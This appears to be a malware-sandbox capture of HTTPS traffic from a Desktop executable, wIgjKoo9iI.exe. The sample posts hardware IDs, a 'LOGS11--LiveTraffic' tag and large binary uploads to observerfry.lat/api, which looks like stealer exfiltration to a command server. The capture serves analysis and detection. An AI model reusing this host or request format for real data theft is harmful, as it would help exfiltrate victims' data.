ymfCyzQRfx6L5i4Ga1IGWM7i//7jYdcRF3TiqurpF/EZrALdtULvHo8lvkZugJRPXrMobzPwFsJD8/M8P2mEupVkh49wwbwCy7c9kyvUg5QCqGh+4eDXjsL3sr97OUblHP/VHr+F7UqIJiuGaACUS45nrTslMwbEBqd1b3y5UOUM+xCesFF6npk1u1Yr0wKfCaKsOqUxyI0MM/N4+jnZNlvqRk5wwKMBA7K50mvACVpOYCNwqCRGxpf+8nl6OUb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49710	104.21.36.201	443	6392	C:\Users\user\Desktop\wIgjKoo9iI.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 11:39:09 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1UREJEZS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12805 Host: observerfry.lat
2024-12-24 11:39:09 UTC	12805	OUT	Data Raw: 2d 2d 31 55 52 45 4a 45 5a 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 31 41 33 42 30 44 30 36 39 34 44 34 35 43 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 31 55 52 45 4a 45 5a 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 31 55 52 45 4a 45 5a 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 31 55 52 45 4a 45 5a 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --1UREJEZSContent-Disposition: form-data; name="hwid"9B1A3B0D0694D45CBEBA0C6A975F1733--1UREJEZSContent-Disposition: form-data; name="pid"2--1UREJEZSContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--1UREJEZSContent-Di
2024-12-24 11:39:10 UTC	1136	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:39:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bvhrarmg98rfr8q2re3r7pb2ao; expires=Sat, 19 Apr 2025 05:25:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KKMH6R5jlNcZombvh9lNJDmNP4r%2FEbGLsNrjyarL3odXbf9bg%2BSu3uGSey2Zstz%2FNUuoyCIO%2B6l0TVi036JwIWroFt8bauQpT0rKEIMWI9whkwylNkWK%2F61bYt7VC%2BL%2BVFs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f704f26fd088cdc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2051&min_rtt=2040&rtt_var=773&sent=10&recv=16&lost=0&retrans=0&sent_bytes=2836&recv_bytes=13734&delivery_rate=1431372&cwnd=250&unsent_bytes=0&cid=d750eb69adb8947f&ts=1100&x=0"
2024-12-24 11:39:10 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 11:39:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49711	104.21.36.201	443	6392	C:\Users\user\Desktop\wIgjKoo9iI.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 11:39:11 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=HE708OO6FK6ZE User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15081 Host: observerfry.lat
2024-12-24 11:39:11 UTC	15081	OUT	Data Raw: 2d 2d 48 45 37 30 38 4f 4f 36 46 4b 36 5a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 31 41 33 42 30 44 30 36 39 34 44 34 35 43 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 48 45 37 30 38 4f 4f 36 46 4b 36 5a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 48 45 37 30 38 4f 4f 36 46 4b 36 5a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 48 45 37 30 38 Data Ascii: --HE708OO6FK6ZEContent-Disposition: form-data; name="hwid"9B1A3B0D0694D45CBEBA0C6A975F1733--HE708OO6FK6ZEContent-Disposition: form-data; name="pid"2--HE708OO6FK6ZEContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--HE708
2024-12-24 11:39:12 UTC	1131	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:39:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0qot1h5k0lpfg66sgmh5fiegen; expires=Sat, 19 Apr 2025 05:25:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ke5BKpUcDiGXF1ePWQ42K6FaeN8YBcaCOK9W9r%2B2bKjcpszFY2Rnksx%2BujS%2F3%2BZJr84DbEddPbokbkd5g%2B9709z0O6evuK9LcNentAMftshcrlYf0widd8eAeUHcEDidFEE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f704f365f8c431b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1579&min_rtt=1565&rtt_var=616&sent=11&recv=20&lost=0&retrans=0&sent_bytes=2836&recv_bytes=16015&delivery_rate=1734997&cwnd=178&unsent_bytes=0&cid=8ca9ca1d30d16774&ts=961&x=0"
2024-12-24 11:39:12 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 11:39:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49712	104.21.36.201	443	6392	C:\Users\user\Desktop\wIgjKoo9iI.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 11:39:13 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=08P308GJFX5WL4XTTTF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19975 Host: observerfry.lat
2024-12-24 11:39:13 UTC	15331	OUT	Data Raw: 2d 2d 30 38 50 33 30 38 47 4a 46 58 35 57 4c 34 58 54 54 54 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 31 41 33 42 30 44 30 36 39 34 44 34 35 43 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 30 38 50 33 30 38 47 4a 46 58 35 57 4c 34 58 54 54 54 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 30 38 50 33 30 38 47 4a 46 58 35 57 4c 34 58 54 54 54 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --08P308GJFX5WL4XTTTFContent-Disposition: form-data; name="hwid"9B1A3B0D0694D45CBEBA0C6A975F1733--08P308GJFX5WL4XTTTFContent-Disposition: form-data; name="pid"3--08P308GJFX5WL4XTTTFContent-Disposition: form-data; name="lid"LOGS11--Li
2024-12-24 11:39:13 UTC	4644	OUT	Data Raw: a5 31 16 55 bb 32 f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee Data Ascii: 1U2+?2+?2+?o?Mp5
2024-12-24 11:39:14 UTC	1131	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:39:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6viv744rh9374gd98uog0564gt; expires=Sat, 19 Apr 2025 05:25:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P1ji5CwyLPtmHwceyv9uy3jCasU2kKkoHyU8eY%2BfQq67AJ9GDIyiomCltde%2FBjtJOo3eWel%2BghzDuCZcXWSxewx7cNXySb2qmSZw3lFycA1xFz%2FbE7%2Bf8iQmd5rXoxXtnWg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f704f45294ec484-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1612&min_rtt=1604&rtt_var=619&sent=13&recv=23&lost=0&retrans=0&sent_bytes=2836&recv_bytes=20937&delivery_rate=1744324&cwnd=248&unsent_bytes=0&cid=e5ffdb7f7ded52b3&ts=959&x=0"
2024-12-24 11:39:14 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 11:39:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49714	104.21.36.201	443	6392	C:\Users\user\Desktop\wIgjKoo9iI.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 11:39:16 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=JIFMJI7GSTHUYH3L User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1226 Host: observerfry.lat
2024-12-24 11:39:16 UTC	1226	OUT	Data Raw: 2d 2d 4a 49 46 4d 4a 49 37 47 53 54 48 55 59 48 33 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 31 41 33 42 30 44 30 36 39 34 44 34 35 43 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4a 49 46 4d 4a 49 37 47 53 54 48 55 59 48 33 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4a 49 46 4d 4a 49 37 47 53 54 48 55 59 48 33 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --JIFMJI7GSTHUYH3LContent-Disposition: form-data; name="hwid"9B1A3B0D0694D45CBEBA0C6A975F1733--JIFMJI7GSTHUYH3LContent-Disposition: form-data; name="pid"1--JIFMJI7GSTHUYH3LContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-12-24 11:39:17 UTC	1130	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:39:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d46n2mng7m9dg7gcim35m01618; expires=Sat, 19 Apr 2025 05:25:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h46%2FV5AFHbIneRYp4luouQf29XnK6zn7tHoZ3jUFoRnN%2B9XxvggNyqpXeS42zruQwOZSXqBTYy%2F%2BTNC1BApEaYYbpSz3Jo9h%2FrWxNPENEql%2Bu5bnETkKLG3nPEDiwJl5uis%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f704f553f42c34a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1691&min_rtt=1667&rtt_var=642&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=2140&delivery_rate=1751649&cwnd=155&unsent_bytes=0&cid=e97eb048cf919a17&ts=809&x=0"
2024-12-24 11:39:17 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 11:39:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49720	104.21.36.201	443	6392	C:\Users\user\Desktop\wIgjKoo9iI.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 11:39:18 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=UPBG9LRN9D56VK User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 572281 Host: observerfry.lat
2024-12-24 11:39:18 UTC	15331	OUT	Data Raw: 2d 2d 55 50 42 47 39 4c 52 4e 39 44 35 36 56 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 31 41 33 42 30 44 30 36 39 34 44 34 35 43 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 55 50 42 47 39 4c 52 4e 39 44 35 36 56 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 55 50 42 47 39 4c 52 4e 39 44 35 36 56 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 55 50 Data Ascii: --UPBG9LRN9D56VKContent-Disposition: form-data; name="hwid"9B1A3B0D0694D45CBEBA0C6A975F1733--UPBG9LRN9D56VKContent-Disposition: form-data; name="pid"1--UPBG9LRN9D56VKContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--UP
2024-12-24 11:39:18 UTC	15331	OUT	Data Raw: 08 d2 1c a2 3b 5a 91 6a 2b dc 17 ab c1 e5 98 6b a8 77 2e 3f ba e3 3b fd a7 a4 cb 6b 05 8d 48 1f d8 d3 03 51 bf 6d 9c 8e 55 1e cc 4e 48 50 d9 5b cf 5a d4 0b 3b 1d f9 70 f6 50 9b 26 84 9e f7 79 a7 02 95 37 79 c5 42 2e 28 d1 45 6a 09 82 ca 66 73 95 0a 00 5f 71 b3 c9 7a f1 d1 e1 49 75 1e 66 96 b9 f4 4b 15 7f 28 bd 6c 6f 78 d6 73 d1 54 22 53 10 41 dd 70 11 fe f5 32 cc 11 2c 57 df 3c 37 fc b3 83 95 f1 8a 3e bb ca 0b 76 93 00 d5 33 12 2c f3 2d 66 61 2d 70 5b d6 f3 a9 ab e9 f1 37 65 64 ee f5 a6 b5 b3 d6 10 82 55 d7 eb 07 5f ae d8 23 a8 ca 16 ff df c3 98 bd 58 18 19 8c 21 6b b3 a7 01 c4 bd 6a 36 1f 76 05 96 88 36 b9 79 15 33 3c 1d c7 aa 30 57 97 a5 da cf 0c e5 dd c2 e7 33 b4 f3 a6 ba 2d 40 3e 0e d3 8b 84 7b 7f 3b f5 cd 42 d4 d7 63 01 aa 99 b2 d1 fb 32 6c cb 30 92 Data Ascii: ;Zj+kw.?;kHQmUNHP[Z;pP&y7yB.(Ejfs_qzIufK(loxsT"SAp2,W<7>v3,-fa-p[7edU_#X!kj6v6y3<0W3-@>{;Bc2l0
2024-12-24 11:39:18 UTC	15331	OUT	Data Raw: 7b 80 e5 f1 f7 96 71 73 9a 16 d2 33 be 33 fe 53 cd 2c 28 e2 a9 63 f3 03 c0 3d f7 93 d5 f5 93 d7 40 1f 0d ff 79 cc 5b 79 4c 34 3d 46 73 c7 f5 57 5f bd 2e fa 51 af b2 b3 13 c6 4a 5d 66 88 e2 78 46 fa f1 da c9 63 92 48 38 88 6f ec ca e5 63 ff 3c 0b 7d 9b 9e eb dc 64 7f 11 65 29 15 02 ee 53 ee 2f 3f 96 ce 72 7a a4 87 e3 13 53 3c c4 dd 2d 06 97 d0 0c 43 09 50 b2 db 64 4f e0 19 3c 3e e1 c2 d2 d0 3f f1 a2 a7 8a 22 f7 17 24 79 c0 70 a5 ee 8b f2 15 c1 1f 03 fd b9 f5 fa 43 3f ac 05 e9 c5 91 d2 c2 c2 b3 95 ae a1 26 bc a2 ef d1 84 a7 4d 70 43 f1 58 33 4e 69 dc 1e 04 7e d0 e0 4b 78 47 88 08 7b 61 a8 a4 c0 30 eb 8c f2 a2 ea b6 54 b0 72 8e ff f9 b4 8b b8 36 d4 63 7d 62 f6 de bd 3d 2d bf 79 a4 d7 30 0f df 5e bb ee ee 72 c3 e2 eb 28 e9 7b b5 db 0b 4b c3 85 fb 0e 05 88 6a Data Ascii: {qs33S,(c=@y[yL4=FsW_.QJ]fxFcH8oc<}de)S/?rzS<-CPdO<>?"$ypC?&MpCX3Ni~KxG{a0Tr6c}b=-y0^r({Kj
2024-12-24 11:39:18 UTC	15331	OUT	Data Raw: b8 8a fd a5 6c ee 64 59 7f 90 8b 66 67 e2 e7 09 61 ae 5b 95 fd c5 c5 23 5b ae 29 e2 29 e2 af d4 66 9f 14 33 cb 95 ff dd 88 f4 e3 ca 73 72 68 0c eb 5f 1d b2 df 0c 3a c6 5b a8 b7 3c 50 a8 99 c3 58 fb fa dd 2a f6 10 9d 87 9a 8b 3e e5 e0 b8 ea 14 7e 68 63 c0 fd be e2 3d cd 45 27 f9 e4 a8 4f 1a 2f 5b 7e 62 6f de da 74 52 ea f9 d4 fb c6 48 9d 1e dc 97 01 c8 75 f0 5a 29 6a 72 eb e5 c6 bb 31 2d 34 cb 60 b6 93 33 70 4b 67 5d 40 22 2e ef 47 06 b7 2e fa 93 a2 f1 23 b8 be dd df 41 14 d4 fc 0c ee 3b fd 57 1d 87 3f c3 92 de 9b 2d 52 28 71 89 1d be d6 ae 69 af 01 8c 60 93 c3 c2 71 4f c2 0f 94 2d de a2 df e0 03 d0 9c c4 01 6b 62 2a 67 8f 32 e9 e4 dc a2 ea a6 41 35 83 79 61 44 26 e6 45 52 68 d4 a8 10 45 e8 44 6d cb 8a 81 fc 83 47 31 8d c1 35 c5 59 7f e9 ed c7 fc c5 77 b4 Data Ascii: ldYfga[#[))f3srh_:[<PX>~hc=E'O/[~botRHuZ)jr1-4`3pKg]@".G.#A;W?-R(qi`qO-kbg2A5yaD&ERhEDmG15Yw
2024-12-24 11:39:18 UTC	15331	OUT	Data Raw: ff fe 84 cb 1d bf 0c ce 0a 16 9e 3c 4f b7 12 ba 25 95 53 a3 1f a3 15 93 58 45 bf 70 72 1a fc f0 87 de 9a 62 95 42 62 11 7f c1 c1 e5 ff 1a fd 10 50 78 97 bf 30 0f 73 01 03 b6 d0 c0 c0 07 9a 37 47 c8 32 a7 18 21 d2 ad aa cf 20 a9 1e af 97 be 55 87 90 79 d0 70 04 45 3f 3a f7 83 7e 36 85 d1 10 de 27 8a 1f 79 eb 6b ac cf f1 56 eb aa e0 e0 57 74 0d 6c 5f 7c ee 98 93 bc 2a 2e 88 90 79 fc d0 c4 39 d8 03 df 28 31 94 9c 2b 84 70 59 13 a7 b1 2c 60 9b 21 bd 74 66 28 bb 18 f0 02 69 c6 2b 31 1e 11 f0 1e 7f f4 45 f5 f6 4a ba 03 d5 44 c6 e4 24 7f 39 78 96 5d 70 19 0d f3 09 a8 83 97 b9 36 13 d0 29 3e ec da 93 1f 55 a9 a3 c8 1c 6c 5e 2c fe e9 86 a8 3d e3 58 6a 8a 38 de 5f 3b b3 82 b3 0f 1b 59 22 ef 00 65 fa 80 12 2f d1 37 6d 42 f7 49 35 c6 c0 90 4e eb f6 cc fb d1 c4 55 de Data Ascii: <O%SXEprbBbPx0s7G2! UypE?:~6'ykVWtl_\|*.y9(1+pY,`!tf(i+1EJD$9x]p6)>Ul^,=Xj8_;Y"e/7mBI5NU
2024-12-24 11:39:19 UTC	15331	OUT	Data Raw: a6 2a 0a 13 bc 6a d0 da 3f 60 7b 8e 5e 6a 33 9e b9 31 29 79 41 5c df 77 c5 d5 eb 20 d5 6b 56 49 2e 22 50 e8 30 a9 d9 31 8c 3c 92 5d 68 33 32 af b8 5f b4 ba ca f2 6b a7 b1 ff 45 ed 49 a3 45 77 af 9e 06 a3 57 98 68 d0 5c c4 99 fc 75 b0 ce f5 a6 24 4b 44 b8 f2 4c 92 bb 5a 0c e9 c6 a8 20 a5 06 3e c3 7a 10 71 53 6c 03 cb 6e fd 45 4f c6 8e 47 a4 17 80 31 83 4d 7d b9 66 3d de f7 72 cb b8 c0 d3 a4 9e a8 10 cb 73 b7 1c 77 dd 28 60 d9 ba 65 98 57 19 ef 52 3a 47 93 5c 88 a1 a6 32 97 4f c6 59 59 29 65 28 f7 c5 66 88 89 c5 cb 7c 59 fd 59 9f c3 e4 e5 ff 41 3a 4f bb 39 8b b9 2f 3b a9 b7 b9 ef 1c 6b 2b 43 e8 93 9c d6 12 78 12 d7 66 00 9f 65 bb a9 32 4a 25 9f 29 24 a9 0b f0 d5 84 fd 62 35 fc 23 52 65 e2 84 ab ca ef 26 78 0b 1c f2 e6 74 9a 3a 25 4a 3d 5b 95 42 d1 ff 65 ce Data Ascii: *j?`{^j31)yA\w kVI."P01<]h32_kEIEwWh\u$KDLZ >zqSlnEOG1M}f=rsw(`eWR:G\2OYY)e(f\|YYA:O9/;k+Cxfe2J%)$b5#Re&xt:%J=[Be
2024-12-24 11:39:19 UTC	15331	OUT	Data Raw: 71 e3 c5 7a 89 9c 31 78 f5 3f bc 64 6a 4e 31 5a 44 e0 87 b9 3f 4a 53 bb 4d 06 fe ea 21 e0 f7 29 35 10 88 2d fd f2 cc bb 33 ef ba 9a 7a 99 7d ea cc 60 e6 35 ea 1d a1 0a e0 ef 87 ee 3e 4d 35 ff 4a 04 bf cb 7d 97 1e 3d a6 ce be 95 d3 de bf 8b 08 9a 0d c1 da 3d 19 78 12 67 8f 27 cd f9 6c 68 c9 c1 16 8b 9b e6 e9 b6 1e 5c 9d bd d9 d7 a8 91 15 a4 c6 d6 33 11 1f 27 2f 6f 68 9d a3 47 c3 b2 58 1c db 62 43 8b 44 3d c1 6a b9 ce 69 69 cf bc 4a 4e d9 90 ba 0e 1d 4c 88 72 f7 7d ba 6d ce 23 99 18 55 b5 cd c1 c0 cd 67 b8 5a 23 d9 af c9 23 b9 f2 8c 24 ec e9 a4 3d 52 26 bb eb f4 13 24 b4 43 f3 83 00 13 36 f2 28 9e 11 80 ba 22 83 cf a0 0a 10 2e 39 d1 67 a6 c9 e1 6f 74 ed 9c e0 79 5d 84 9f 0b d8 41 2f 25 61 bf 5c 09 13 a4 1c 1a 52 50 4e 2b e5 fa 1d be 27 75 62 dc c3 03 94 fe Data Ascii: qz1x?djN1ZD?JSM!)5-3z}`5>M5J}==xg'lh\3'/ohGXbCD=jiiJNLr}m#UgZ##$=R&$C6(".9goty]A/%a\RPN+'ub
2024-12-24 11:39:19 UTC	15331	OUT	Data Raw: 1d 6b 73 fe 9d 7c 87 1c 6e e2 aa 43 7b 08 2e 0a 91 99 fd 97 81 4d a5 d3 39 bd 7c e6 bb 0d f7 20 fc 3e 97 71 18 3d 0b 8d ea 7f 29 d7 07 82 f1 38 20 0f 3c c0 be a6 cd 17 6a 4f 92 ac 0a 4d 79 6d 4a f6 6d 00 c8 c1 fd ef 03 ce 83 1c de 39 63 27 41 b2 ef c3 54 b4 f6 58 60 9f df 0d 8f e1 12 a8 42 2f bf 5e 0d 22 97 ce fd 5a ef cb 8b 4d 4a b6 c5 05 a0 fb db 5c d6 c7 70 59 71 1b 6d a2 eb 99 bc f9 85 ba 8b ba 77 25 98 32 c0 61 c5 f0 9f 00 4e 14 c3 db ac 19 c9 38 73 62 ec 09 cf 70 c9 a2 e5 80 0e 5c 95 65 b3 bc e8 ab 8f 79 ce 79 c0 ee 8e ec 2d be 9d 10 41 69 18 62 fd 3b 87 5b 6d b8 e4 3a 0b 81 06 16 cc 0c 47 3a 65 de be 1b ed 26 3e 5f b4 bb bc ad 2d a5 7c 2f 77 7d 63 8e d7 ad 56 c5 09 a1 d8 7e 2f d2 67 c8 38 46 b1 ee 65 6b 40 20 6a 99 d5 e3 25 9c 26 16 3a f1 f8 f7 5f Data Ascii: ks\|nC{.M9\| >q=)8 <jOMymJm9c'ATX`B/^"ZMJ\pYqmw%2aN8sbp\eyy-Aib;[m:G:e&>_-\|/w}cV~/g8Fek@ j%&:_
